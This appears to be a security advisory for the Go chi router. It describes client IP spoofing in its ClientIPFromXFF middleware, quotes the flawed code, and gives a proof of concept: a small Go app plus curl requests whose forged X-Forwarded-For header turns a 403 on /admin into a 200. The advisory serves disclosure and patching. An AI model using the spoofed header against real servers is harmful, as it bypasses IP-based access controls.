GHSA-j6qf-3m9c-vwj3

Dashboard / Vulnerabilities / GHSA-j6qf-3m9c-vwj3

GHSA-j6qf-3m9c-vwj3

Summary: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

Details: ### Summary `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). **Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required. 1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted. ### Details The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address: ```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ``` The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies. ### Proof of concept Using Go 1.24 or later, create and run this minimal application against the tested revision: ```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main import ( "fmt" "log" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) const allowedIP = "10.0.0.7" func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) }) log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ``` The no-header control was rejected: ```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48 denied: tcp-peer="127.0.0.1:54416" client-ip="" ``` Adding the forged chain authorized the same direct client: ```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8 allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ``` ### Impact I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

References: https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3, https://nvd.nist.gov/vuln/detail/CVE-2026-114437, https://github.com/go-chi/chi/pull/1214, https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f, https://github.com/go-chi/chi, https://github.com/go-chi/chi/releases/tag/v5.4.0, https://www.tenable.com/security/research/tra-2026-66